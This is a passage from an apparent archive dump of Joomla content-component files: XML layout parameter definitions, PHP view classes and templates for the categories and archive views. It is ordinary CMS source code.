				<option value="1">JSHOW</option>
			</field>

			<field 
				name="show_category" 
				type="list"
				label="JGLOBAL_SHOW_CATEGORY_LABEL"
				description="JGLOBAL_SHOW_CATEGORY_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field 
				name="link_category" 
				type="list"
				label="JGLOBAL_LINK_CATEGORY_LABEL"
				description="JGLOBAL_LINK_CATEGORY_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JNO</option>
				<option value="1">JYES</option>
			</field>

			<field 
				name="show_parent_category" 
				type="list"
				label="JGLOBAL_SHOW_PARENT_CATEGORY_LABEL"
				description="JGLOBAL_SHOW_PARENT_CATEGORY_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field 
				name="link_parent_category" 
				type="list"
				label="JGLOBAL_LINK_PARENT_CATEGORY_LABEL"
				description="JGLOBAL_LINK_PARENT_CATEGORY_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JNO</option>
				<option value="1">JYES</option>
			</field>

			<field 
				name="show_author" 
				type="list"
				label="JGLOBAL_SHOW_AUTHOR_LABEL"
				description="JGLOBAL_SHOW_AUTHOR_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field 
				name="link_author" 
				type="list"
				label="JGLOBAL_LINK_AUTHOR_LABEL"
				description="JGLOBAL_LINK_AUTHOR_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JNO</option>
				<option value="1">JYES</option>
			</field>

			<field 
				name="show_create_date" 
				type="list"
				label="JGLOBAL_SHOW_CREATE_DATE_LABEL"
				description="JGLOBAL_SHOW_CREATE_DATE_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field 
				name="show_modify_date" 
				type="list"
				label="JGLOBAL_SHOW_MODIFY_DATE_LABEL"
				description="JGLOBAL_SHOW_MODIFY_DATE_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field 
				name="show_publish_date" 
				type="list"
				label="JGLOBAL_SHOW_PUBLISH_DATE_LABEL"
				description="JGLOBAL_SHOW_PUBLISH_DATE_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field 
				name="show_item_navigation" 
				type="list"
				label="JGLOBAL_SHOW_NAVIGATION_LABEL"
				description="JGLOBAL_SHOW_NAVIGATION_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_vote"
				type="list"
				label="JGLOBAL_SHOW_VOTE_LABEL"
				description="JGLOBAL_SHOW_VOTE_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option	value="1">JSHOW</option>
			</field>

			<field
				name="show_readmore"
				type="list"
				label="JGLOBAL_SHOW_READMORE_LABEL"
				description="JGLOBAL_SHOW_READMORE_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_readmore_title"
				type="list"
				label="JGLOBAL_SHOW_READMORE_TITLE_LABEL"
				description="JGLOBAL_SHOW_READMORE_TITLE_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field 
				name="show_icons" 
				type="list"
				label="JGLOBAL_SHOW_ICONS_LABEL"
				description="JGLOBAL_SHOW_ICONS_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field 
				name="show_print_icon" 
				type="list"
				label="JGLOBAL_SHOW_PRINT_ICON_LABEL"
				description="JGLOBAL_SHOW_PRINT_ICON_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field 
				name="show_email_icon" 
				type="list"
				label="JGLOBAL_SHOW_EMAIL_ICON_LABEL"
				description="JGLOBAL_SHOW_EMAIL_ICON_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field 
				name="show_hits" 
				type="list"
				label="JGLOBAL_SHOW_HITS_LABEL"
				description="JGLOBAL_SHOW_HITS_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_noauth"
				type="list"
				label="JGLOBAL_SHOW_UNAUTH_LINKS_LABEL"
				description="JGLOBAL_SHOW_UNAUTH_LINKS_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JNO</option>
				<option value="1">JYES</option>
		</field>
	</fieldset>
	<fieldset name="integration">

			<field 
				name="show_feed_link" 
				type="list"
				label="JGLOBAL_SHOW_FEED_LINK_LABEL"
				description="JGLOBAL_SHOW_FEED_LINK_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field 
				name="feed_summary" 
				type="list"
				label="JGLOBAL_FEED_SUMMARY_LABEL"
				description="JGLOBAL_FEED_SUMMARY_DESC"
				useglobal="true"
				>
				<option value="0">JGLOBAL_INTRO_TEXT</option>
				<option value="1">JGLOBAL_FULL_TEXT</option>
			</field>
		</fieldset>
</fields>
</metadata>
com_content/views/categories/tmpl/default_items.php000060400000005175152453734450016670 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_content
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JHtml::_('bootstrap.tooltip');

$class = ' class="first"';

if ($this->maxLevelcat != 0 && count($this->items[$this->parent->id]) > 0) :
?>
	<?php foreach ($this->items[$this->parent->id] as $id => $item) : ?>
		<?php
		if ($this->params->get('show_empty_categories_cat') || $item->numitems || count($item->getChildren())) :
		if (!isset($this->items[$this->parent->id][$id + 1]))
		{
			$class = ' class="last"';
		}
		?>
		<div <?php echo $class; ?> >
		<?php $class = ''; ?>
			<h3 class="page-header item-title">
				<a href="<?php echo JRoute::_(ContentHelperRoute::getCategoryRoute($item->id, $item->language)); ?>">
				<?php echo $this->escape($item->title); ?></a>
				<?php if ($this->params->get('show_cat_num_articles_cat') == 1) :?>
					<span class="badge badge-info tip hasTooltip" title="<?php echo JHtml::_('tooltipText', 'COM_CONTENT_NUM_ITEMS_TIP'); ?>">
						<?php echo JText::_('COM_CONTENT_NUM_ITEMS'); ?>&nbsp;
						<?php echo $item->numitems; ?>
					</span>
				<?php endif; ?>
				<?php if (count($item->getChildren()) > 0 && $this->maxLevelcat > 1) : ?>
					<a id="category-btn-<?php echo $item->id; ?>" href="#category-<?php echo $item->id; ?>"
						data-toggle="collapse" class="btn btn-mini pull-right" aria-label="<?php echo JText::_('JGLOBAL_EXPAND_CATEGORIES'); ?>"><span class="icon-plus" aria-hidden="true"></span></a>
				<?php endif; ?>
			</h3>
			<?php if ($this->params->get('show_description_image') && $item->getParams()->get('image')) : ?>
				<img src="<?php echo $item->getParams()->get('image'); ?>" alt="<?php echo htmlspecialchars($item->getParams()->get('image_alt'), ENT_COMPAT, 'UTF-8'); ?>" />
			<?php endif; ?>
			<?php if ($this->params->get('show_subcat_desc_cat') == 1) : ?>
				<?php if ($item->description) : ?>
					<div class="category-desc">
						<?php echo JHtml::_('content.prepare', $item->description, '', 'com_content.categories'); ?>
					</div>
				<?php endif; ?>
			<?php endif; ?>

			<?php if (count($item->getChildren()) > 0 && $this->maxLevelcat > 1) : ?>
				<div class="collapse fade" id="category-<?php echo $item->id; ?>">
				<?php
				$this->items[$item->id] = $item->getChildren();
				$this->parent = $item;
				$this->maxLevelcat--;
				echo $this->loadTemplate('items');
				$this->parent = $item->getParent();
				$this->maxLevelcat++;
				?>
				</div>
			<?php endif; ?>
		</div>
		<?php endif; ?>
	<?php endforeach; ?>
<?php endif; ?>
com_content/views/categories/view.html.php000060400000001170152453734450014773 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_content
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Content categories view.
 *
 * @since  1.5
 */
class ContentViewCategories extends JViewCategories
{
	/**
	 * Language key for default page heading
	 *
	 * @var    string
	 * @since  3.2
	 */
	protected $pageHeading = 'JGLOBAL_ARTICLES';

	/**
	 * @var    string  The name of the extension for the category
	 * @since  3.2
	 */
	protected $extension = 'com_content';
}
com_content/views/archive/view.html.php000060400000013101152453734450014264 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_content
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * HTML View class for the Content component
 *
 * @since  1.5
 */
class ContentViewArchive extends JViewLegacy
{
	protected $state = null;

	protected $item = null;

	protected $items = null;

	protected $pagination = null;

	protected $years = null;

	/**
	 * Execute and display a template script.
	 *
	 * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
	 *
	 * @return  mixed  A string if successful, otherwise an Error object.
	 */
	public function display($tpl = null)
	{
		$user       = JFactory::getUser();
		$state      = $this->get('State');
		$items      = $this->get('Items');
		$pagination = $this->get('Pagination');

		// Flag indicates to not add limitstart=0 to URL
		$pagination->hideEmptyLimitstart = true;

		// Get the page/component configuration
		$params = &$state->params;

		JPluginHelper::importPlugin('content');

		foreach ($items as $item)
		{
			$item->catslug     = $item->category_alias ? ($item->catid . ':' . $item->category_alias) : $item->catid;
			$item->parent_slug = $item->parent_alias ? ($item->parent_id . ':' . $item->parent_alias) : $item->parent_id;

			// No link for ROOT category
			if ($item->parent_alias === 'root')
			{
				$item->parent_slug = null;
			}

			$item->event = new stdClass;

			$dispatcher = JEventDispatcher::getInstance();

			// Old plugins: Ensure that text property is available
			if (!isset($item->text))
			{
				$item->text = $item->introtext;
			}

			$dispatcher->trigger('onContentPrepare', array ('com_content.archive', &$item, &$item->params, 0));

			// Old plugins: Use processed text as introtext
			$item->introtext = $item->text;

			$results = $dispatcher->trigger('onContentAfterTitle', array('com_content.archive', &$item, &$item->params, 0));
			$item->event->afterDisplayTitle = trim(implode("\n", $results));

			$results = $dispatcher->trigger('onContentBeforeDisplay', array('com_content.archive', &$item, &$item->params, 0));
			$item->event->beforeDisplayContent = trim(implode("\n", $results));

			$results = $dispatcher->trigger('onContentAfterDisplay', array('com_content.archive', &$item, &$item->params, 0));
			$item->event->afterDisplayContent = trim(implode("\n", $results));
		}

		$form = new stdClass;

		// Month Field
		$months = array(
			'' => JText::_('COM_CONTENT_MONTH'),
			'1' => JText::_('JANUARY_SHORT'),
			'2' => JText::_('FEBRUARY_SHORT'),
			'3' => JText::_('MARCH_SHORT'),
			'4' => JText::_('APRIL_SHORT'),
			'5' => JText::_('MAY_SHORT'),
			'6' => JText::_('JUNE_SHORT'),
			'7' => JText::_('JULY_SHORT'),
			'8' => JText::_('AUGUST_SHORT'),
			'9' => JText::_('SEPTEMBER_SHORT'),
			'10' => JText::_('OCTOBER_SHORT'),
			'11' => JText::_('NOVEMBER_SHORT'),
			'12' => JText::_('DECEMBER_SHORT')
		);
		$form->monthField = JHtml::_(
			'select.genericlist',
			$months,
			'month',
			array(
				'list.attr' => 'size="1" class="inputbox"',
				'list.select' => $state->get('filter.month'),
				'option.key' => null
			)
		);

		// Year Field
		$this->years = $this->getModel()->getYears();
		$years = array();
		$years[] = JHtml::_('select.option', null, JText::_('JYEAR'));

		for ($i = 0, $iMax = count($this->years); $i < $iMax; $i++)
		{
			$years[] = JHtml::_('select.option', $this->years[$i], $this->years[$i]);
		}

		$form->yearField = JHtml::_(
			'select.genericlist',
			$years,
			'year',
			array('list.attr' => 'size="1" class="inputbox"', 'list.select' => $state->get('filter.year'))
		);
		$form->limitField = $pagination->getLimitBox();

		// Escape strings for HTML output
		$this->pageclass_sfx = htmlspecialchars($params->get('pageclass_sfx', ''));

		$this->filter     = $state->get('list.filter');
		$this->form       = &$form;
		$this->items      = &$items;
		$this->params     = &$params;
		$this->user       = &$user;
		$this->pagination = &$pagination;
		$this->pagination->setAdditionalUrlParam('month', $state->get('filter.month'));
		$this->pagination->setAdditionalUrlParam('year', $state->get('filter.year'));

		$this->_prepareDocument();

		parent::display($tpl);
	}

	/**
	 * Prepares the document
	 *
	 * @return  void
	 */
	protected function _prepareDocument()
	{
		$app   = JFactory::getApplication();
		$menus = $app->getMenu();
		$title = null;

		// Because the application sets a default page title,
		// we need to get it from the menu item itself
		$menu = $menus->getActive();

		if ($menu)
		{
			$this->params->def('page_heading', $this->params->get('page_title', $menu->title));
		}
		else
		{
			$this->params->def('page_heading', JText::_('JGLOBAL_ARTICLES'));
		}

		$title = $this->params->get('page_title', '');

		if (empty($title))
		{
			$title = $app->get('sitename');
		}
		elseif ($app->get('sitename_pagetitles', 0) == 1)
		{
			$title = JText::sprintf('JPAGETITLE', $app->get('sitename'), $title);
		}
		elseif ($app->get('sitename_pagetitles', 0) == 2)
		{
			$title = JText::sprintf('JPAGETITLE', $title, $app->get('sitename'));
		}

		$this->document->setTitle($title);

		if ($this->params->get('menu-meta_description'))
		{
			$this->document->setDescription($this->params->get('menu-meta_description'));
		}

		if ($this->params->get('menu-meta_keywords'))
		{
			$this->document->setMetadata('keywords', $this->params->get('menu-meta_keywords'));
		}

		if ($this->params->get('robots'))
		{
			$this->document->setMetadata('robots', $this->params->get('robots'));
		}
	}
}
com_content/views/archive/tmpl/default_items.php000060400000022415152453734450016160 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_content
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JHtml::addIncludePath(JPATH_COMPONENT . '/helpers');
$params = $this->params;
?>

<div id="archive-items">
	<?php foreach ($this->items as $i => $item) : ?>
		<?php $info = $item->params->get('info_block_position', 0); ?>
		<div class="row<?php echo $i % 2; ?>" itemscope itemtype="https://schema.org/Article">
			<div class="page-header">
				<h2 itemprop="headline">
					<?php if ($params->get('link_titles')) : ?>
						<a href="<?php echo JRoute::_(ContentHelperRoute::getArticleRoute($item->slug, $item->catid, $item->language)); ?>" itemprop="url">
							<?php echo $this->escape($item->title); ?>
						</a>
					<?php else : ?>
						<?php echo $this->escape($item->title); ?>
					<?php endif; ?>
				</h2>

				<?php // Content is generated by content plugin event "onContentAfterTitle" ?>
				<?php echo $item->event->afterDisplayTitle; ?>

				<?php if ($params->get('show_author') && !empty($item->author )) : ?>
					<div class="createdby" itemprop="author" itemscope itemtype="https://schema.org/Person">
					<?php $author = $item->created_by_alias ?: $item->author; ?>
					<?php $author = '<span itemprop="name">' . $author . '</span>'; ?>
						<?php if (!empty($item->contact_link) && $params->get('link_author') == true) : ?>
							<?php echo JText::sprintf('COM_CONTENT_WRITTEN_BY', JHtml::_('link', $this->item->contact_link, $author, array('itemprop' => 'url'))); ?>
						<?php else : ?>
							<?php echo JText::sprintf('COM_CONTENT_WRITTEN_BY', $author); ?>
						<?php endif; ?>
					</div>
				<?php endif; ?>
			</div>
		<?php $useDefList = ($params->get('show_modify_date') || $params->get('show_publish_date') || $params->get('show_create_date')
			|| $params->get('show_hits') || $params->get('show_category') || $params->get('show_parent_category')); ?>
		<?php if ($useDefList && ($info == 0 || $info == 2)) : ?>
			<div class="article-info muted">
				<dl class="article-info">
				<dt class="article-info-term">
					<?php echo JText::_('COM_CONTENT_ARTICLE_INFO'); ?>
				</dt>

				<?php if ($params->get('show_parent_category') && !empty($item->parent_slug)) : ?>
					<dd>
						<div class="parent-category-name">
							<?php $title = $this->escape($item->parent_title); ?>
							<?php if ($params->get('link_parent_category') && !empty($item->parent_slug)) : ?>
								<?php $url = '<a href="' . JRoute::_(ContentHelperRoute::getCategoryRoute($item->parent_slug)) . '" itemprop="genre">' . $title . '</a>'; ?>
								<?php echo JText::sprintf('COM_CONTENT_PARENT', $url); ?>
							<?php else : ?>
								<?php echo JText::sprintf('COM_CONTENT_PARENT', '<span itemprop="genre">' . $title . '</span>'); ?>
							<?php endif; ?>
						</div>
					</dd>
				<?php endif; ?>
				<?php if ($params->get('show_category')) : ?>
					<dd>
						<div class="category-name">
							<?php $title = $this->escape($item->category_title); ?>
							<?php if ($params->get('link_category') && $item->catslug) : ?>
								<?php $url = '<a href="' . JRoute::_(ContentHelperRoute::getCategoryRoute($item->catslug)) . '" itemprop="genre">' . $title . '</a>'; ?>
								<?php echo JText::sprintf('COM_CONTENT_CATEGORY', $url); ?>
							<?php else : ?>
								<?php echo JText::sprintf('COM_CONTENT_CATEGORY', '<span itemprop="genre">' . $title . '</span>'); ?>
							<?php endif; ?>
						</div>
					</dd>
				<?php endif; ?>

				<?php if ($params->get('show_publish_date')) : ?>
					<dd>
						<div class="published">
							<span class="icon-calendar" aria-hidden="true"></span>
							<time datetime="<?php echo JHtml::_('date', $item->publish_up, 'c'); ?>" itemprop="datePublished">
								<?php echo JText::sprintf('COM_CONTENT_PUBLISHED_DATE_ON', JHtml::_('date', $item->publish_up, JText::_('DATE_FORMAT_LC3'))); ?>
							</time>
						</div>
					</dd>
				<?php endif; ?>

				<?php if ($info == 0) : ?>
					<?php if ($params->get('show_modify_date')) : ?>
						<dd>
							<div class="modified">
								<span class="icon-calendar" aria-hidden="true"></span>
								<time datetime="<?php echo JHtml::_('date', $item->modified, 'c'); ?>" itemprop="dateModified">
									<?php echo JText::sprintf('COM_CONTENT_LAST_UPDATED', JHtml::_('date', $item->modified, JText::_('DATE_FORMAT_LC3'))); ?>
								</time>
							</div>
						</dd>
					<?php endif; ?>
					<?php if ($params->get('show_create_date')) : ?>
						<dd>
							<div class="create">
								<span class="icon-calendar" aria-hidden="true"></span>
								<time datetime="<?php echo JHtml::_('date', $item->created, 'c'); ?>" itemprop="dateCreated">
									<?php echo JText::sprintf('COM_CONTENT_CREATED_DATE_ON', JHtml::_('date', $item->created, JText::_('DATE_FORMAT_LC3'))); ?>
								</time>
							</div>
						</dd>
					<?php endif; ?>

					<?php if ($params->get('show_hits')) : ?>
						<dd>
							<div class="hits">
								<span class="icon-eye-open"></span>
								<meta itemprop="interactionCount" content="UserPageVisits:<?php echo $item->hits; ?>" />
								<?php echo JText::sprintf('COM_CONTENT_ARTICLE_HITS', $item->hits); ?>
							</div>
						</dd>
					<?php endif; ?>
				<?php endif; ?>
				</dl>
			</div>
		<?php endif; ?>

		<?php // Content is generated by content plugin event "onContentBeforeDisplay" ?>
		<?php echo $item->event->beforeDisplayContent; ?>
		<?php if ($params->get('show_intro')) : ?>
			<div class="intro" itemprop="articleBody"> <?php echo JHtml::_('string.truncateComplex', $item->introtext, $params->get('introtext_limit')); ?> </div>
		<?php endif; ?>

		<?php if ($useDefList && ($info == 1 || $info == 2)) : ?>
			<div class="article-info muted">
				<dl class="article-info">
				<dt class="article-info-term"><?php echo JText::_('COM_CONTENT_ARTICLE_INFO'); ?></dt>

				<?php if ($info == 1) : ?>
					<?php if ($params->get('show_parent_category') && !empty($item->parent_slug)) : ?>
						<dd>
							<div class="parent-category-name">
								<?php $title = $this->escape($item->parent_title); ?>
								<?php if ($params->get('link_parent_category') && $item->parent_slug) : ?>
									<?php $url = '<a href="' . JRoute::_(ContentHelperRoute::getCategoryRoute($item->parent_slug)) . '" itemprop="genre">' . $title . '</a>'; ?>
									<?php echo JText::sprintf('COM_CONTENT_PARENT', $url); ?>
								<?php else : ?>
									<?php echo JText::sprintf('COM_CONTENT_PARENT', '<span itemprop="genre">' . $title . '</span>'); ?>
								<?php endif; ?>
							</div>
						</dd>
					<?php endif; ?>
					<?php if ($params->get('show_category')) : ?>
						<dd>
							<div class="category-name">
								<?php $title = $this->escape($item->category_title); ?>
								<?php if ($params->get('link_category') && $item->catslug) : ?>
									<?php $url = '<a href="' . JRoute::_(ContentHelperRoute::getCategoryRoute($item->catslug)) . '" itemprop="genre">' . $title . '</a>'; ?>
									<?php echo JText::sprintf('COM_CONTENT_CATEGORY', $url); ?>
								<?php else : ?>
									<?php echo JText::sprintf('COM_CONTENT_CATEGORY', '<span itemprop="genre">' . $title . '</span>'); ?>
								<?php endif; ?>
							</div>
						</dd>
					<?php endif; ?>
					<?php if ($params->get('show_publish_date')) : ?>
						<dd>
							<div class="published">
								<span class="icon-calendar" aria-hidden="true"></span>
								<time datetime="<?php echo JHtml::_('date', $item->publish_up, 'c'); ?>" itemprop="datePublished">
									<?php echo JText::sprintf('COM_CONTENT_PUBLISHED_DATE_ON', JHtml::_('date', $item->publish_up, JText::_('DATE_FORMAT_LC3'))); ?>
								</time>
							</div>
						</dd>
					<?php endif; ?>
				<?php endif; ?>

				<?php if ($params->get('show_create_date')) : ?>
					<dd>
						<div class="create">
							<span class="icon-calendar" aria-hidden="true"></span>
							<time datetime="<?php echo JHtml::_('date', $item->created, 'c'); ?>" itemprop="dateCreated">
								<?php echo JText::sprintf('COM_CONTENT_CREATED_DATE_ON', JHtml::_('date', $item->modified, JText::_('DATE_FORMAT_LC3'))); ?>
							</time>
						</div>
					</dd>
				<?php endif; ?>
				<?php if ($params->get('show_modify_date')) : ?>
					<dd>
						<div class="modified">
							<span class="icon-calendar" aria-hidden="true"></span>
							<time datetime="<?php echo JHtml::_('date', $item->modified, 'c'); ?>" itemprop="dateModified">
								<?php echo JText::sprintf('COM_CONTENT_LAST_UPDATED', JHtml::_('date', $item->modified, JText::_('DATE_FORMAT_LC3'))); ?>
							</time>
						</div>
					</dd>
				<?php endif; ?>
				<?php if ($params->get('show_hits')) : ?>
					<dd>
						<div class="hits">
							<span class="icon-eye-open"></span>
							<meta content="UserPageVisits:<?php echo $item->hits; ?>" itemprop="interactionCount" />
							<?php echo JText::sprintf('COM_CONTENT_ARTICLE_HITS', $item->hits); ?>
						</div>
					</dd>
				<?php endif; ?>
			</dl>
		</div>
		<?php endif; ?>
		<?php // Content is generated by content plugin event "onContentAfterDisplay" ?>
		<?php echo $item->event->afterDisplayContent; ?>
	</div>
	<?php endforeach; ?>
</div>
<div class="pagination">
	<p class="counter"> <?php echo $this->pagination->getPagesCounter(); ?> </p>
	<?php echo $this->pagination->getPagesLinks(); ?>
</div>
com_content/views/archive/tmpl/default.php000060400000003412152453734450014753 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_content
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JHtml::addIncludePath(JPATH_COMPONENT . '/helpers');
JHtml::_('formbehavior.chosen', 'select');
JHtml::_('behavior.caption');
?>
<div class="archive<?php echo $this->pageclass_sfx; ?>">
<?php if ($this->params->get('show_page_heading')) : ?>
<div class="page-header">
<h1>
	<?php echo $this->escape($this->params->get('page_heading')); ?>
</h1>
</div>
<?php endif; ?>
<form id="adminForm" action="<?php echo JRoute::_('index.php'); ?>" method="post" class="form-inline">
	<fieldset class="filters">
	<div class="filter-search">
		<?php if ($this->params->get('filter_field') !== 'hide') : ?>
		<label class="filter-search-lbl element-invisible" for="filter-search"><?php echo JText::_('COM_CONTENT_TITLE_FILTER_LABEL') . '&#160;'; ?></label>
		<input type="text" name="filter-search" id="filter-search" value="<?php echo $this->escape($this->filter); ?>" class="inputbox span2" onchange="document.getElementById('adminForm').submit();" placeholder="<?php echo JText::_('COM_CONTENT_TITLE_FILTER_LABEL'); ?>" />
		<?php endif; ?>

		<?php echo $this->form->monthField; ?>
		<?php echo $this->form->yearField; ?>
		<?php echo $this->form->limitField; ?>

		<button type="submit" class="btn btn-primary" style="vertical-align: top;"><?php echo JText::_('JGLOBAL_FILTER_BUTTON'); ?></button>
		<input type="hidden" name="view" value="archive" />
		<input type="hidden" name="option" value="com_content" />
		<input type="hidden" name="limitstart" value="0" />
	</div>
	<br />
	</fieldset>

	<?php echo $this->loadTemplate('items'); ?>
</form>
</div>
com_content/views/archive/tmpl/default.xml000060400000017172152453734450014774 0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
	<layout title="COM_CONTENT_ARCHIVE_VIEW_DEFAULT_TITLE" option="COM_CONTENT_ARCHIVE_VIEW_DEFAULT_OPTION">
		<help
			key = "JHELP_MENUS_MENU_ITEM_ARTICLE_ARCHIVED"
		/>
		<message>
			<![CDATA[com_content_archive_view_default_desc]]>
		</message>
	</layout>

	<!-- Add fields to the request variables for the layout. -->
	<fields name="request">
		<fieldset name="request"
			addfieldpath="/administrator/components/com_categories/models/fields"
		>
			<field
				name="catid"
				type="category"
				extension="com_content"
				multiple="true"
				size="5"
				label="JCATEGORY"
				description="JFIELD_CATEGORY_DESC"
			>
				<option value="">JOPTION_ALL_CATEGORIES</option>
			</field>
		</fieldset>
	</fields>

	<!-- Add fields to the parameters object for the layout. -->
	<fields name="params">

		<!-- Basic options. -->
		<fieldset name="basic" label="JGLOBAL_ARCHIVE_OPTIONS"
		>

			<field 
				name="orderby_sec" 
				type="list"
				label="JGLOBAL_ARTICLE_ORDER_LABEL"
				description="JGLOBAL_ARTICLE_ORDER_DESC"
				default="alpha"
				>
				<option value="date">JGLOBAL_OLDEST_FIRST</option>
				<option value="rdate">JGLOBAL_MOST_RECENT_FIRST</option>
				<option value="alpha">JGLOBAL_TITLE_ALPHABETICAL</option>
				<option value="ralpha">JGLOBAL_TITLE_REVERSE_ALPHABETICAL</option>
				<option value="author">JGLOBAL_AUTHOR_ALPHABETICAL</option>
				<option value="rauthor">JGLOBAL_AUTHOR_REVERSE_ALPHABETICAL</option>
				<option value="hits">JGLOBAL_MOST_HITS</option>
				<option value="rhits">JGLOBAL_LEAST_HITS</option>
				<option value="order">JGLOBAL_ARTICLE_MANAGER_ORDER</option>
				<option value="vote" requires="vote">JGLOBAL_VOTES_DESC</option>
				<option value="rvote" requires="vote">JGLOBAL_VOTES_ASC</option>
				<option value="rank" requires="vote">JGLOBAL_RATINGS_DESC</option>
				<option value="rrank" requires="vote">JGLOBAL_RATINGS_ASC</option>
			</field>

			<field 
				name="order_date" 
				type="list"
				label="JGLOBAL_ORDERING_DATE_LABEL"
				description="JGLOBAL_ORDERING_DATE_DESC"
				default="created"
				>
				<option value="created">JGLOBAL_Created</option>
				<option value="modified">JGLOBAL_Modified</option>
				<option value="published">JPUBLISHED</option>
			</field>

			<field 
				name="display_num" 
				type="list"
				label="JGLOBAL_NUMBER_ITEMS_LIST_LABEL"
				description="JGLOBAL_NUMBER_ITEMS_LIST_DESC"
				default="5"
				>
				<option value="5">J5</option>
				<option value="10">J10</option>
				<option value="15">J15</option>
				<option value="20">J20</option>
				<option value="25">J25</option>
				<option value="30">J30</option>
				<option value="50">J50</option>
				<option value="100">J100</option>
				<option value="0">JALL</option>
			</field>

			<field
				name="filter_field"
				type="list"
				label="JGLOBAL_FILTER_FIELD_LABEL"
				description="JGLOBAL_FILTER_FIELD_DESC"
				default=""
				useglobal="true"
				>
				<option value="hide">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field 
				name="introtext_limit" 
				type="number" 
				label="JGLOBAL_ARCHIVE_ARTICLES_FIELD_INTROTEXTLIMIT_LABEL"
				description="JGLOBAL_ARCHIVE_ARTICLES_FIELD_INTROTEXTLIMIT_DESC" 
				default="100"
			/>

		</fieldset>

		<!-- Articles options. -->
		<fieldset name="articles"
			label="COM_CONTENT_ATTRIBS_ARTICLE_SETTINGS_LABEL"
		>

			<field 
				name="show_intro" 
				type="list"
				label="JGLOBAL_SHOW_INTRO_LABEL"
				description="JGLOBAL_SHOW_INTRO_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="info_block_position"
				type="list"
				label="COM_CONTENT_FIELD_INFOBLOCK_POSITION_LABEL"
				description="COM_CONTENT_FIELD_INFOBLOCK_POSITION_DESC"
				default=""
				useglobal="true"
				class="chzn-color"
				>
				<option value="use_article">COM_CONTENT_FIELD_VALUE_USE_ARTICLE_SETTINGS</option>
				<option value="0">COM_CONTENT_FIELD_OPTION_ABOVE</option>
				<option value="1">COM_CONTENT_FIELD_OPTION_BELOW</option>
				<option value="2">COM_CONTENT_FIELD_OPTION_SPLIT</option>
			</field>

			<field
				name="info_block_show_title"
				type="list"
				label="COM_CONTENT_FIELD_INFOBLOCK_TITLE_LABEL"
				description="COM_CONTENT_FIELD_INFOBLOCK_TITLE_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option	value="0">JHIDE</option>
				<option	value="1">JSHOW</option>
			</field>

			<field 
				name="show_category" 
				type="list"
				label="JGLOBAL_SHOW_CATEGORY_LABEL"
				description="JGLOBAL_SHOW_CATEGORY_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field 
				name="link_category" 
				type="list"
				label="JGLOBAL_LINK_CATEGORY_LABEL"
				description="JGLOBAL_LINK_CATEGORY_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JNO</option>
				<option value="1">JYES</option>
			</field>

			<field
				name="show_parent_category"
				type="list"
				label="JGLOBAL_SHOW_PARENT_CATEGORY_LABEL"
